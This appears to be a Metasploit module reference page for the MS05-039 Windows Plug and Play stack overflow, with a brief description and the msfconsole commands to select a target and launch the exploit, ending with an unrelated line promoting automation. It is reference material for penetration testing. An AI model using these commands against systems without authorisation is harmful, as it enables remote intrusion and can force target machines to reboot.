Description

This module exploits a stack buffer overflow in the Windows Plug and Play service. This vulnerability can be exploited on Windows 2000 without a valid user account. NOTE: Since the PnP service runs inside the service.exe process, a failed exploit attempt will cause the system to automatically reboot.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/smb/ms05_039_pnp
msf exploit(ms05_039_pnp) > show targets
    ...targets...
msf exploit(ms05_039_pnp) > set TARGET < target-id >
msf exploit(ms05_039_pnp) > show options
    ...show and set options...
msf exploit(ms05_039_pnp) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
